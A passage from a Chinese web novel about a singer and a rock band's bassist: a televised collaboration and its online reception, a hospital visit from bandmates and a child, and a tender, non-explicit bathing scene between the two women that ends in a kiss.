所以姐你到底是为了什么隐退啊啊啊! 她急得要发疯,明明发现那么多问题,可抬眼看向弹幕,却是一片刷屏的夸夸,很是风平浪静。 简竹默默后靠向座椅,在此刻竟有一种世人皆醉我独醒的怅然。 ———— 不管其他人如何想,在普通观众心中,最主要的还是之前被掐掉直播的创作部分。 节目一放出,有不少人直接将进度条拖到三分之二的位置,满心期待地看着。 因剪辑的缘故,许多繁琐的内容被删去,观众还以为节目组还会像之前那样,故意剪出许多矛盾点,甚至有意让两边人争吵起来。 记得裏头有一集就是,某一乐队的鼓手,因音乐理念不合,当场摔门而出,嘉宾等人纷纷出门寻找。 最后一群人在树林中席地而坐,嘉宾聊起自己刚开始做音乐的困难,鼓手聊起她曾经的梦想,最后两人和解,以此为灵感,一起创作出一首歌。 虽说这样的套路很俗,却耐不住观众爱看,那期的收视率高得惊人,让节目组尝到甜头,往后都要复制一遍。 观众以为这次还会这样,却见到极其和谐的一幕。 柳听颂就好像和燃陨乐队合作过很多次一般,两方人格外默契,除去开头沉默一些,基本没有什么矛盾,有时候许风扰刚一开口,柳听颂就立马领悟,甚至还能给燃陨其他人解释。 满屏的问号瞬间飘过。 众人差点没分清,到底柳听颂是许风扰的队友,还是楚澄三人是柳听颂的队友,怎么可以一下子就默契成这样 同时,节目组好像也猜到了大家的困惑,甚至将镜头转向张导。 只见张导呆呆站在哪裏,脸上是和大家同样的迷茫,还被贴心的后期在脑袋旁边添上一行字:完了,这一期的爆点剪不出来了。 众人纷纷笑起。 镜头再转,这一次燃陨乐队已全体就位。 坐在最后的况野甩着鼓棒,酷酷的脸上居然出现一丝少有亢奋。 还没有喊开始,她旁边的纪鹿南就先甩着手,在键盘上弹出一小段乱音。 站在左边的楚澄不复懒懒散散的模样,手一前一后置于电吉他上,目光灼灼看向许风扰。 许风扰换了一把渐变色的蔚蓝贝斯,随手将及肩白发扎成小辫,束在脑后,走到右边站定。 而柳听颂被她们围绕在中间,没有经过商量,好像本身就应该这样,她就是她们的主唱。 这画面瞬间将观众的期待值拉高,不禁思考她们会选择怎样的风格。 是让柳听颂配合燃陨乐队,还是让燃陨乐队改变风格,将就柳听颂 这样一想,大家又忍不住质疑,柳听颂和燃陨乐队真的可以融和在一起吗? 众人都知,燃陨乐队风格偏向后朋。 而后朋音乐呢,如果要用拟人的手法描述,它就好像个穿着西装、带着领带的颓丧青年,有着苍白脸颊和纤瘦躯体,哼着冷郁、孤独调子,无神眼睛裏透着对自由的渴望,一脚踏入虚无的同时,随手拉掉了毁灭世界的手雷引线。 可柳听颂的声音温润,像是山涧玉石,泉水砸落,响起泠泠之声。 两种不同的风格,怎么可以融合到一起 当况野的鼓被敲响,电吉他声随之插入,稍显欢快的节奏,却还是熟悉的风格,让众人忍不住生出一丝失望。 就这吗? 还是这样吗? 虽然很好听,但却没有一点惊喜的感觉。 许风扰在此时哼唱出声,她的声音一如往常,在偏中性的底色中,带着童嫩的干净,像理智主义在高喊自由,可尾音却颓丧,像随时都淹死在海裏的鱼。 而在此刻加入贝斯,恰好能将她这种特质加强。 一下子将听众拉入深不见底的海水中,眼前一片蔚蓝。 低沉的节奏、闷闷的鼓声、来回就是那几根弦的贝斯。 纪鹿南指尖跳跃,将乐声融入冰冷压抑的旋律裏。 坠落。 往下坠。 四肢被束缚,拉扯着掉落。 直到柳听颂的声音响起。 那些绝望的、病态的、迷茫的、怅然的,都被水波轻轻晃起。 指尖从琴弦跳动,鼓声逐渐低微。 没有高声喊着活力与希望,没有什么勇敢和坚强。 只是让掉入深海的人睁开眼,才发觉自己站在八十年代的筒子楼中,抬头是灰尘覆盖的玻璃窗,夕阳成束,落在脚下。 所有声音都消失,一片死寂。 ——嘭! 鼓声突然以一种近乎疯狂的节奏敲响,贝斯、吉他声争先响起,乐声狂悖又偏执。 可这些都没能盖住柳听颂的声音,像是围绕游鱼身边的发白水浪,随着鱼尾的拼命甩打。 挣脱! 挣脱! 竭尽全力一跃! ——嘭! 当最后一声鼓声落下,众人猛的睁开眼,大口喘息。 这时已不需要旁的解释,剎那将漆黑屏幕覆盖的弹幕,已是对质疑声最好的反驳。 当晚,这首尚未填词的曲子一跃进各大音乐app的榜首,V博、视频app中全是推崇夸赞,不断有人推荐,以极其夸张的口吻将它描述。 某知名解说大V:我承认,在看视频之前,我并没有抱什么期待,一首只用一个小时就创作出来的曲子,即便是听颂姐和燃陨乐队的合作,我也只是抱着蹭热度的想法去听。 但现在!我哭着求听颂姐和燃陨快点出录音室版,我要单曲循环一千遍! 某粉丝百万博主:到底是谁说燃陨乐队和柳听颂很难搭在一起的!这他爹的,简直完美,我听完眼泪刷一下就冒出来了。 某国家一级演奏员:天才与天才之间碰撞。 人们好像陷入某种狂热中,即便偶尔有反驳声响起,还没有出现多久,就被彻底压下。 可当情绪稍缓时,众人才发觉柳听颂和燃陨成员都保持了一种诡异的沉默,甚至让他们后知后觉地想起,许风扰已经很久没有出现了。 在视频控诉又反转,节目宣传又播出后,她都如何消失一般,没有一点声音传出。 不解的人群纷纷涌向她的V博,试图将残余的兴奋发洩。 可熟悉的界面还停留前段时间。 那条写着“关你屁事”的V博,一直置于最顶端。 它冷笑着,像是对这段时间的流言蜚语的嘲讽。 第29章 脱吧 次日, 医院。 燃陨三人如约而至,不需要旁人招呼,自个就搬来板凳, 绕着许风扰坐了一圈。 “我天, 你可真是吓死我们,你知不知道你前两天就和傻子似的, 说什么都点头,”楚澄一如既往地夸张。 许风扰翻了个白眼,还没有来得及开口就被塞了一口苹果泥, 只得低头看着怀裏小孩, 苦笑道:“昭昭, 姨姨真的吃不动。” 这小孩是纪鹿南的崽,和另一个母亲姓, 大名楚明昭, 小名昭昭, 今年刚三岁, 顶着个凌乱麻花辫, 短腿短手, 被养得肥嘟嘟的, 咧嘴一笑就露出酒窝,尤其可爱,经常被纪鹿南带出门玩,是燃陨几人看着长大的小孩。 她上次就跟着纪鹿南来过一回,眼眶红红地抱着许风扰哭,嚷嚷着阿风姨姨千万不能变傻子, 惹得本来还在担忧的三人乐了半天。 昨夜听纪鹿南说要来看许风扰,生怕妈妈不让她去, 一大早上就抱着个小熊,蹲在门口守着纪鹿南。 可还没等到纪鹿南出门,她就先打起瞌睡,为了不让小孩失望,原本约定下午三点出门的几人,愣是拖到五点多、昭昭睡醒后才到医院。 这一进屋,昭昭就抱着苹果过来,要给许风扰挖苹果泥,说多吃水果,身体才会好。 许风扰向来惯她,当即就笑眯眯地将人抱在怀裏哄,只觉得这脑袋不晕,腿也不疼了。 可是小孩的力气太小,这挖苹果挖得实在惨不忍睹,许风扰每回都得闭着眼,才能将勺子裏的东西咽下去。 旁边的三人憋着笑,幸灾乐祸得不行。 “姨姨吃饱了,谢谢我们昭昭,”许风扰再次出声,试图逃避。 小家伙还握住铁勺在奋斗,听到这话,抬起脑袋就眨眼,像个小大人一般开口:“不行,姨姨要多吃点,多吃点才能好。” 楚澄还在旁边煽风点火,接道:“对啊对啊,昭昭宝宝加油,我们昭昭最乖最可爱了。” 这话音刚落,许风扰就又被塞了一口氧化后的苹果泥,那味道也不能说不好,就是一咬一口泥,一咬一口果粒,口感特别复杂。 乐得楚澄偏头,压在况野肩膀笑。 最后还是纪鹿南有点良心,把崽子抱起后,哄了几句再交给保姆,让她带到门外玩。 等房门一关,这几人脸上的笑意一淡。 楚澄装模作样地四处看,压低声音道:“你家那位不在吧?” “什么叫我家,”许风扰下意识反驳,又道:“她有事出门了。” 嘴上是否认,但楚澄连名字都没提,她就知道是谁了。 楚澄一下子就笑起来,调侃道:“是是是,不是你家的,你是她家的行了吧” 气得许风扰扯起被子,一脚就踹过去,力度一点不轻,差点扯到自己的另一条腿。 楚澄登时“哎哟”一声,再往况野身上一倒,大狮子装起林黛玉,掐着嗓子道:“这是哪裏学来的坏毛病好的不学,尽学会踹人了。” 许风扰不好说这习惯是怎么养出来的,只能又补了一脚,笑骂道:“你再说两句,我就把你踹出去。” 楚澄嘴比脑子快,当即就道:“哟,是满脖子吻痕的那种踹出去吗?” 许风扰一愣,下意识道:“什么玩意?” 床边三人露出笑眯眯的吃瓜模样。 楚澄先开口:“不知道是谁,晚上住院前还好好的,第二天一早,脖子上就色彩斑斓的。” 许风扰表情一僵,骤然想起那天晚上发生了什么。 况野接上:“一点没遮,领口大开着,我们还以为你是故意在显摆。” 纪鹿南也没放过她,笑呵呵道:“你想显摆我们理解,但你也不能当着孩子的面……” “昭昭还以为你脖子受伤了,回去的时候缠着我问,是不是和你打架的那个坏人咬你脖子了,红成这样。” 要是只有楚澄三人瞧见也就算了,可是还有个小孩,许风扰耳朵骤然红起,结结巴巴地解释:“我、意外……” 愣是说不出句完整的话。 就这样,楚澄三人还不肯发过她,那天许风扰晕沉沉的,怎么打趣都呆呆愣愣,像个木头人似的,现在终于有点反应了,可不使劲打趣。 “什么意外能一脖子吻痕啊,能不能也给我意外意外,”楚澄还特意咬着字句强调。 况野最爱补刀,又说:“还挺激烈的,连咬带啃。” “哎呀哎呀,你们别说她了,”纪鹿南突然开始劝,紧接着话音一转就道:“我们阿风也是很棒的,没白给人家咬* ,也咬别人了。” 楚澄连忙点头:“哎对,给人喉管那边咬了一大口,哇塞,那嘴不知道要张多大,才能咬那么大一口。” 况野再补:“嘴也咬破了。” “对对对,咬得那个激烈啊,”楚澄疯狂点头。 许风扰连话都说不出来了,那耳朵越来越红,和滴血似的。 咬的时候没多想,还带着点报复似的洩愤,这下倒好,反成了楚澄三人笑她的把柄。 许风扰没办法反驳,只能仍由她们笑,暗自恼了下,柳听颂怎么平常不出门,偏这会出门,让她一个人被笑。 大家闹了好一会,终于在许风扰要急眼前停下。 楚澄笑得脸颊酸,揉着自己的腮帮子,极力板起脸想说正事,又忍不住笑起,只能分外别扭道:“你家那……” 话还没有说完,许风扰抬眼就瞪。 楚澄只好改口:“听颂姐给我买了辆摩托车。” 许风扰一愣,下意识道:“你那驾照还没扣完分” 上次那危险驾驶,她以为楚澄的摩托车驾照已被扣下,正寻思这怎么补偿她呢。 楚澄脸色一黑,憋屈道:“还、还剩一两分呢。” 郊外那截路没有摄像头,她侥幸不用重考,但这段时间都不打算骑摩托车了,省得一不小心就扣没了。 许风扰答应了声,又想起她说了什么,诧异问道:“柳听颂给你买什么了” 楚澄白眼一翻,加重语气道:“杜卡迪!” “前两天早上,她打电话叫我下楼,我一下去,这车就摆在我面前了,说是感谢我帮她追到照片。” 话是这样说的,可楚澄心裏门清,自己就懵懵懂懂地跟着许风扰往前,根本没出什么力,甚至连伤都没伤到哪裏,柳听颂这谢礼,多半还是因为许风扰。 而且在电话裏,柳听颂虽语气温和,但话裏话外都是这事没什么大不了的,没必要这样冒险,暗示她下次不许带许风扰这样疯。 她能想到的事,许风扰自然也能想到,唇间笑意淡去,眼眸也沉了沉。 况野在这时接道:“你那车已经修好了,听颂姐连着之前十五万和修车钱一并转给我了。” 她们关系虽好,但这方面一向是明算账,以免出现旁的矛盾。 她想了想又道:“那两个狗仔已经被人赶出S市了。” 那两人的面包车是拖到了她的修车厂中,无法修好后,她自然是要联系两人,商量怎么处理,于是因此得知两人的去向。 说完这些,她们便陷入沉默,这些事其实挺闹腾的,若要扯起来,因确实在柳听颂这儿,她要感谢楚澄也正常,可她和许风扰又有那么些纠葛,而且这事是许风扰与楚澄自愿的,柳听颂在此之前并不知情。 她们拒绝也不是,接受也不是,索□□给许风扰处理。 许风扰沉默了下,最后只是摆了摆手,没好气道:“她有钱没处花,你们收着就是。” 楚澄三人意味深长地对视一眼。 倒也不真缺这点钱,主要还是许风扰的态度。 现在看来,她和柳听颂恐怕真有点戏。 这事就此结束,众人又聊起昨夜的综艺,对此结果都无太多诧异。 外人都以为柳听颂与燃陨乐队是第一次合作,所以将期待值拉得很低,甚至满是质疑。 可只有她们自个知道,柳听颂与燃陨乐队的牵绊有多深,成立与刚开始的磨合,都有柳听颂参与其中,即便分开许久,也难掩其中默契。 而且她们还取了个巧,将乐队初成立时创作、却因各种原因不能发表的谱子搬出来,对其进行了些修改完善,两个原因迭加,这才达到这种效果。 说到这儿,纪鹿南突然露出一丝难色,道:“你那屋子可能暂时回不去了。” 许风扰顿时懵住,她今儿已问过医生,说她过两天就能出院了,怎么现在就有家不能回了 纪鹿南当即解释:“你那小区安保太差,当时直播中又露出不少画面,我刚刚突然想起来,带着昭昭过去看了眼,底下蹲着一堆狗仔。” 许风扰这下是真苦了脸。 她不是没钱买更好的房子,但因少年时的经历,对这种老旧的居民楼有一种莫名的依恋,当年挣到钱后,第一时间就买下这屋子,花了大价钱做隔音也舍不得搬,可现在反倒成大麻烦。 楚澄翻了翻白眼,忍不住吐槽:“早就让你换房子了,你偏不听,那破小区连个电梯都没有,每次过去还得爬半天,还有那老保安,给包烟就乐呵呵放人进去了,有啥用” 因综艺的缘故,燃陨乐队现在又成了风口上的香馍馍,哪个狗仔不想来蹭一蹭 而且许风扰的住址还那么好查出,不蹲她蹲谁 想到这儿,许风扰好久没疼的脑袋,现在又疼起来了。 三人见状,都让她去自己那边暂住一段时间。 可许风扰嫌不自在,一直没松口答应。 窗外月升日落,夜风吹来,将合拢窗帘吹起。 自那夜暴雨后,S市终于凉快些许,不再是烫得连穿着鞋都嫌烫脚的闷热。 不到十点,医院就陷入安静中,探病的人都被驱赶,大部分病房也熄了灯,早早睡下,只有些许还亮着。 许风扰前两天就闹着要洗澡,可她当时头晕,腿脚又不方便,而且身上还有被玻璃划破的细小伤口,柳听颂怎敢让她洗澡只是每天晚上拿湿布帮她擦一遍。 今儿实在挨不住了,无论柳听颂怎么说,许风扰都坚持要洗。 最后两人拉扯了半天,终于让柳听颂松口,但前提条件是她得帮忙。 许风扰本来有些犹豫,可那么多天了,她实在不舒服,再加之那点洁癖,一咬牙就同意了。 微黄的灯光照亮狭窄浴室,潮湿的热气中门缝冒出,缥缈如雾气散开。 许风扰坐着塑料凳子上,还穿着那套蓝白条纹的病房,没有半点洗澡的雀跃,反倒恹恹地耷拉着眉眼,看着对面。 这儿用的是热水器,得先将冷水放出,再调热水。 因出门办事的缘故,柳听颂还穿着衬衫,眼下便将袖子挽起,一手拿着花洒,一手试探水温,直到调到适宜温度。 她才抬头看向许风扰,轻轻说了句:“脱吧。” 第30章 抱歉,我真的有点忍不住了 “脱吧。” 当这两字落下, 许风扰明显僵了下。 对面的人倒平静,有一种既然你要胡闹,那就陪着你的感觉。 她随意找了个银签, 将发丝盘起, 白衬衫解开两颗扣子, 线条柔美的肩颈在领口处若隐若现, 还能瞅见那牙印,果真很大一个,也不知柳听颂是怎么做到没有半点遮掩, 就这样坦然出门办事的。 许风扰试图逃避, 视线往下。 柳听颂挽起袖子的小臂被水打湿, 指尖也被热水熏红,正滴答落着水滴, 像在无声的催促。 原本十分希望洗澡的人, 现在却温吞起来。 虽说之前恋爱时, 她两也没少坦诚相见, 可现在就她一个人, 而且还是在分手五年后, 之前擦拭身子时, 她隔着衣服都有些不自在,更何况现在。 她试图做出最后的挣扎,嘴唇碾磨后,发出极低弱的声音。 柳听颂甚至没能听清,发出一声疑问音调表示疑惑。 许风扰顿时深吸一口气,重复道:“你先转过去。” 话音落下, 柳听颂明显讶然了下。 方才没多想,既憋着一口对方怎么说都不会听的气, 又提着一颗心,生怕出意外,于是在脑海裏将洗澡过程重复了一遍又一遍,完全没空顾虑到其他,直到许风扰这一说,她才反应过来,唇角不禁上扬,多了一丝淡淡笑意。 许风扰将她的变化收入眼底,不由羞恼,提高声调就道:“你快转过去!” 柳听颂想笑,又怕把这人惹毛了,赶紧一转身。 “你对着镜子做什么?!” 还挺警惕的。 柳听颂又一转身,朝向禁闭的门。 许风扰斜眼瞅她,虽然稍侧身还是能从镜子裏瞧见些许,但这浴室狭窄,能做到这一步就已不错,所以不再纠结,只是假凶警告:“你不许动,不然我就把你踹出去。” 柳听颂将笑意强压住,只能含糊说了声:“好。” 她也不想想,柳听颂需要转身偷看吗,等会有的是正大光明的机会。 可许风扰现在就和个炸了毛的猫一样,根本想不到什么,旁人指尖一伸,它就开始喵喵叫了。 浴室中一静,许风扰停顿片刻,才慢吞吞地解扣子。 其实也没什么大不了的,两个都是女孩子,能有什么不同。 之前她还和楚澄她们去泡了温泉,刚开始大家都有些拘束,披着浴袍站在旁边,可当大大咧咧的楚澄嫌不舒服,刷一下往浴池裏跳时,众人也就不在意了。 即便性取向相同又如何?又不是对所有同性都有感觉,这些欲念都得在有好感的基础上,不然再怎么看,也就是一副与自己相似的□□皮囊。 可真不像V博那些说的那么邪乎,还手指会硬。 许风扰每次瞧见都觉得好笑,觉得这些人无非在给自己的滥情,找个搞笑的借口罢了。 她想来想去,宽慰了自己半天,终于将第三颗袖子解开。 可转念一想,柳听颂对自己可不算单纯啊? 虽然在攻受这方面,她们两没有太大争执,但柳听颂在那个时候也没少摸。 要严谨一点的话,柳听颂也不是完全躺零,应该是0.2,曾经也冒出过几次反攻的苗头,却被许风扰强行镇压下去。 再说,那时候的许风扰才十八,虽已成年,但还是小了些,柳听颂总有一些莫名的顾虑,可现在…… 许风扰又紧绷起来,第四颗扣子捏在指尖,愣是没能解开。 等了许久的柳听颂,见半天没个声,忍不住出声催促:“别乱想了,小心着凉感冒。” 话音刚落,她又怕许风扰太急,缓声补充:“慢一点也行,别碰到伤口。” 她是知道许风扰一紧张或无聊、烦躁,就忍不住思维跳跃的毛病,之前还经常被她脱口而出的话逗笑。 许风扰闻言,也不好再拖延下去,扣子被解开,蓝白病服被甩向洗手臺,柳听颂下意识偏头,余光落在镜面,又立马转回。 许风扰不曾注意到,开始折腾那裤子,幸好病服裤子宽大,而她腿又细,即便绑了东西也不算太紧,只要稍微注意一点就好。 可不一会,她的视线又往柳听颂那边偏,忍不住出声道:“柳听颂你怎么不说话?” 开始嫌太安静。 柳听颂不曾生气,想了想才道:“昭昭今天也跟着过来了吗?” 经前几回燃陨探病,她已认识了纪鹿南的女儿。 提到昭昭,许风扰明显放松了些,声音裏多了一声笑意,回道:“她哭着闹着要来见我,她妈哪裏拦得住?” 她略微得意道:“昭昭从小就和我亲。” “这家伙打小就乖,下午还给我挖苹果泥,”许风扰半点不提那苹果泥有多诡异。 柳听颂便点头,突然说了一句:“你不是不喜欢吃苹果吗?” 许风扰这人好养活,没什么挑嘴的,就苹果不爱吃。 这事也得怪外婆外公,她两长期在医院工作,而来探病的家属最喜欢提来苹果,她两去查房,每次都得抱着一堆苹果出门,放在办公室吃不完,又提回家去,许风扰吃到厌烦,后面就不愿吃了。 “昭昭亲手挖的,”许风扰回答了一句,又解释道:“小家伙难得关心我一回,我不想她难过。” 怪宠的,怪不得昭昭那么粘许风扰。 柳听颂眼帘扑扇了下,不知是什么滋味,冒出一句:“那我喂的呢?” 许风扰正扯着裤子,听到这话,奇怪地瞥了她一眼,说:“柳听颂,昭昭才三岁。” 意思是她一个成年人那能和三岁小孩比小家伙刚学会关心人,总不能因这点小事打击她,而成年人理解别人的偏好与厌恶,自然不会强求。 柳听颂抿了抿唇角,还没有想出回答,那裤子就被裹成一团丢到旁边。 柳听颂又下意识偏头,这一次却没能及时收回来。 那人试图将小件遮掩,努力裹进裤子裏,可因力度问题,裤子猛的砸向洗手臺,反而散开,于是就这么一下子露出来。 这倒也没什么,毕竟这两人还没有熟悉时,就经历过更尴尬的一遭。 如此展开、铺平在面前,也是一样的……吧。 柳听颂还没有来得及收回视线,就听到一声气急败坏的喊声:“柳听颂!” 那人当即转身,神色如常,几步走过来就道:“脱好了?腿抬到椅子上去。” 假装什么都没有发生。 许风扰抬眼瞪她。 柳听颂却镇定道:“怎么了?” 这样的态度确实让许风扰好转些许,感觉不再那么的羞耻,可心裏头又莫名多出一丝不满,凭什么她柳听颂就能那么平静淡然。 可下一秒,柳听颂又道:“怎么一直都是这个款的纯棉白色,你很喜欢?” “柳听颂!” 某只白毛猫彻底炸毛,耳垂的红瞬间散开,从脸颊到脖颈无一幸免,红得滴血,这段时间养出的坏习惯如条件反射,一下子就踹向对方小腿。 “你出去,我自己洗!” 许风扰开始赶人。 再看另一人,实在憋不住的笑意从眼尾散开,眼波流转间,眸光潋滟,抬手拽住这人往外推的手,柔声就道:“好了宝宝,洗澡了。” 这过分温柔的声音,让许风扰呆愣了下。 还没有来得及反应,那人又弯腰将她腿抬起,搭在另一个塑料板凳上,再拿起花洒,重新开水。 当温热的水洒在脑袋上,那点热得发烫的温度终于下去一点,理智也跟着回归。 许风扰咬着牙就道:“柳听颂你是不是在把我当小孩哄” 那人没有正面回答,只温声道:“我们先洗脑袋好吗,宝宝” 果真是这样! 怕是连昭昭洗澡都不需要这样哄了,许风扰又羞又急,一时间竟说不出什么话来。 可那人还在继续,水淋湿许风扰的脑袋,白色的发丝全塌下去,贴在额头、脸颊,扑扇的眼帘有水滴落下,碧色眼眸左右逃避,就是不敢看旁边人。 柳听颂动作很慢,小心避开她身上那些被玻璃划破的伤口,虽已过了几天,但那些伤口仍就狰狞,不知当时是有多疼。 柳听颂视线垂落,动作更轻。 许风扰依旧别扭,努力装作不在乎,可连开口的声音都是僵的:“你把花洒举高,我自己洗头。” 她就说她没问题,只是伤了小腿,又不是两只手都断了,柳听颂非跟着来,她就是、就是…… 许风扰试图像之前一样转移注意力,可脑子却像僵住一般,半天想不出个句子。 而另一人已将洗发露挤在她脑袋,花洒移向别处,温声哄道:“好了。” 许风扰那一瞬间真觉得自己变成了三岁小孩,薄唇碾磨,却又说不出来什么,只能憋屈冒出一句:“你把眼睛闭上。” 柳听颂没有拒绝,再这样磨下去,不知道什么时候才能洗好,生怕许风扰因此着凉,没有好全的脑袋如果又发热,不知道会发生什么,所以直接闭上眼。 另一人抬起瞧她,终于敢放下捂在胸前的手,抬起爪子挠脑袋。 可这样仍是变扭,虽然知道对方看不见了,但那么一个人杵在旁边等着自己洗澡,真的非常奇怪。 就好像自己变成了古代大小姐,连沐浴都要人服侍。 可事实上,许风扰很早就不需要别人了,不知想起什么往事,她眼帘一颤。 柳听颂恰好在这个时候开口,低声哄道:“先洗澡,别走神了。” 许风扰猛的回神,急忙用力搓洗着发丝。 泡沫掉落,砸在鼻梁,这下连许风扰都得闭上眼,以免被到处乱飞的泡沫砸进眼睛。 柳听颂在这时睁眼,垂落的眼眸瞧不出情绪,只看着许风扰胡乱挠着脑袋。 因肤色过分白净的缘故,一点红都格外明显,更别说现在,即便有水冲洗降温,全身上下也都红得厉害,连指尖都不能幸免。 而她整个人又紧绷着,水流顺着线条滑落,从劲瘦的马甲线到小腿线条,最后从不堪一握的脚踝坠落。 “好了,”柳听颂声音有些哑,抬手拽住许风扰的手腕,便道:“洗得很干净了,我帮你冲掉。” 许风扰没阻拦,在过分紧张下,脑袋彻底空白,甚至没对柳听颂擅自睁开眼闹起脾气。 温热的水冲向脑袋,轻轻柔柔的指尖将发丝撩起,再一点点将泡沫洗去。 花洒往下,指尖跟随。 许风扰紧闭着眼,眼帘颤抖,呼吸凌乱。 周围很安静,只剩下水流的声音。 许风扰甚至能感受到对方的视线,专注但并不是完全的平静无波,甚至有点灼热。 这样的认知,让许风扰忍不住捏紧板凳边缘。 她感觉自己好像变成了大型的人偶娃娃,就好像那种比较变///态的电影裏,主角最喜欢的人偶,是对方的所有物,任凭对方操纵。 但也有一点不符合,因为这种主角一般控制欲很强,又很疯,她绝不会允许自己人偶受到一点伤害,变得不那么完美,而自己现在断了腿,又满身是伤痕。 可万一人家就喜欢战损版的呢? 故意给自己的人偶制造出伤痕 要命。 不明显的喉结随着吞咽,上下滑动。 对方的每一处触碰,都会让许风扰战栗一下。 花洒停下,紧接着是挤压沐浴露的声音。 牛奶味的粘稠液体,在指尖、掌心揉搓出泡沫,然后贴在许风扰身上。 有些凉。 许风扰抖了下,睫毛颤动得更加明显,忍不住咬住唇。 不知道情况为什么会变成现在这样,完全变成被动的那个,一点也没有她0.8的气势,明明在一起的时候都没有这样羞怯过,可怎么现在就…… 呼吸更乱,掐在板凳边缘的手青筋鼓起。 泡沫涂抹,从脖颈往下,经过每一节肋骨,直至微微凹下去的腰腹。 还没有往下,许风扰就先拽住她手腕,低声道:“我自己来。” 柳听颂没有阻拦,许风扰也没睁开眼,就这样胡乱地搓洗了下,立马滑到其他地方。 生怕再多一点意外。 屋外房间有人走过,许是查房的护士推着小推车,一间间敲着门。 其中传出些许说话声,片刻又随着房门的关上而消失,继而再重复一遍。 那些残留的灯光,便一盏盏熄灭。 夜色更浓,弯月无声。 旁边的人眼眸暗了又暗,黑与白的界限早已没了之前的明确,眼底的情绪晦涩。 闭着眼的人毫无察觉,毫无章法地将自己搓得发红,全是指痕。 柳听颂将水温被调得烫了些,随着许风扰的搓洗移动。 “轻点,宝宝,”她声音更柔。 许风扰停顿了下,只觉得更奇怪了。 明明现在已经换成自己来,但怎么就没有好转一点,反而变成更奇怪的感受,就好像、就好像她在做什么给柳听颂看一样。 “这裏,”柳听颂像是没有注意到她的停顿,拽着她手腕,贴到脖颈,又说:“从这裏往下。” 许风扰抿了抿唇,异样的感觉没有好转半点,却又没办法解决,只能继续这样下去。 粗粝指尖划过脖颈,本就红透的地方更红。 可明明柳听颂什么都没有做,她就站在旁边,拿着花洒,跟着许风扰的动作,一点点冲洗。 “这裏有伤口,”她突然出声,抓住许风扰手腕后又松开。 许风扰只好绕开,可旁边就是、 许风扰随便抹了下就往下,不敢有丝毫停留。 之前是自己挨不住,闹着吵着要洗澡,现在却像酷刑一般,每一秒都在考验着她。 许风扰的动作更快,不敢有丝毫停留,匆匆忙忙后,就快速说了一声:“好了。” 她第一次那么期盼着洗澡的结束。 柳听颂却出声道:“等一下,这裏还没有干净。” 稍缓下去的神经又绷紧,甚至比之前更紧张。 不过幸好,只是脊背,不是其他地方。 许风扰偷偷松了口气,等了下却没见停,心裏忍不住疑惑,直到这时才生出一点勇气,努力睁开眼。 那人就站在自己面前,用过分专注的眼眸看着她。 许风扰明显呆了下。 只听见“嘭”的一声,花洒摔落在地。 那人抬手捧住许风扰脸颊,偏头就贴在她唇角,炙热的呼吸比许风扰更烫,暗哑道:“抱歉宝宝。” “你真的好可爱。” 随着字句落下的,是一个接着一个吻,从唇边到脸颊、鼻梁,一点点往上挪,落在睁开又紧闭的眼眸。 “抱歉宝宝,我真的有点忍不住了,”过分沙哑的嗓音,哪怕是什么都不知道的人,都能察觉到异样,像是忍耐了许久,终于洩露出一丝。 许风扰想要说些什么,却被堵住唇,只能愤恨一咬,又将对方的唇给叼住。 柳听颂没有阻拦,仍由对方惩罚,捧脸的手更紧,迫使对方越发仰头。 “宝宝……” 她的声音实在太哑了,完全丢失了清晰吐字能力,只能靠着模糊音节,勉强辨认。 咬紧的齿尖没有换来求饶,反而被越发包容的吻。 直到猎物终于放松警惕,松开尖牙。 于是反扑开始。 舌尖探入,呼吸更重,指尖滑过脖颈,又强势压住。 许风扰抬手拽住对方衣领,将布料揉得发皱。 “宝宝、宝宝,”那人低哑且迫切地呢喃着。 过分着急的力度,几乎要将人融化,压到她骨血裏去。 地上的花洒还没有停止,将西装裤淋湿,打透衬衫。 湿淋淋的白发滴着水,落入肩颈与锁骨搭建的三角凹陷处,积出一摊浅浅水洼,轻轻一晃就掀起水波。 原本柔和的灯光,现在亮得刺眼,让许风扰不敢睁开眼,仍由对方支配着。 不知过了多久,直到许风扰感受到自己指尖发凉时,那人才慢慢松开。 额头与额头相抵,鼻尖与鼻尖相碰,许风扰睁开眼,恰好瞧见柳听颂克制着,将眼眸中的情///欲压下。 “宝宝……”她又这样喊,难言的心疼掺在嘆息裏:“你真的太瘦了。” 许风扰没有回答,抬手将她推开。《 》 30-40 第31章 这样可以了吗?宝宝 一时无话, 许风扰企图逃避,裹上浴巾后被扶着往外走人,还没有彻底坐下, 就先将柳听颂推走, 其余的事她一个人也能解决,坚决不需要对方帮忙。 柳听颂没有强求, 知道她心裏变扭,拿了衣服又往浴室走,脚步莫名有些急切。 不等片刻, 水声又一次响起。 许风扰坐在床边, 不知在想什么, 好一会才抬手揉了揉耳朵,继而慢吞吞地擦拭。 新取来的病服迭放在床脚, 骨节分明的手探出, 抓住布料后, 一件又一件地往身上套。 周围越发安静, 弯月从薄云中挤出, 更远处的灯红酒绿与医院无关, 被栏杆隔绝在外, 晚间又打扫过的走廊无人,只有浓郁的酒精味道。 吹风机的声音响起又停下,被重新放到一边。 许风扰半躺回床上,伸手将薄被拉扯,直至蒙到脑袋,将自己完全盖住。 滚烫的温度终于下去了一点, 许风扰抬手捂住自己的脸,大力搓了搓, 不知是为了降温,还是将那残留的感受压下去。 脑子依旧浑浑噩噩的,乱七八糟的想法一并涌来,叫人无法理清半点,只能这样搁置着。 裏头的水声暂停片刻,淡淡奶香又涌来,是许风扰刚刚用过的那一款沐浴露。 许风扰低了低脑袋,又从掌心闻到那熟悉的奶味。 思绪还在乱。 薄被不能将灯光完全隔绝,让许风扰陷进灰蒙蒙的空间裏,曲折的腿越发往回收,好像个脆弱小孩躲在被褥裏,缩成一团,抱住自己。 好烦。 熟悉的感受又涌了上来。 她挠了挠脑袋,已被吹干的发丝被揉得凌乱。 她之前并不喜欢将头发一次吹干,特别是燥热的夏季,总喜欢留一半潮湿,若有风吹来,便偷得些许清凉,可此刻却因脑震荡的缘故,一点也不敢乱来。 于是许风扰将烦闷的原因归结于此。 该死的脑震荡。 她又挠了一把脑袋,突然开始寻思着换个发色。 海王红? 浅灰蓝? 好像粉色也不错。 她烦起来就想折腾自己,现在身上没有痣了,她就想搞头发,刚想完发色,又觉得那些伤口非常不顺眼,忍不住伸手想扣。 ——嘭! 幸好这时有房门声响起,是柳听颂洗好澡走出来。 许风扰收回手,将被子拉扯得更高,完完全全遮住自己,像座鼓起来的小山堆。 柳听颂自然是瞧见了,却没有多说什么,自顾自地走到另一边。 许风扰等了片刻,才慢慢将被子放下,偏头看向另一边。 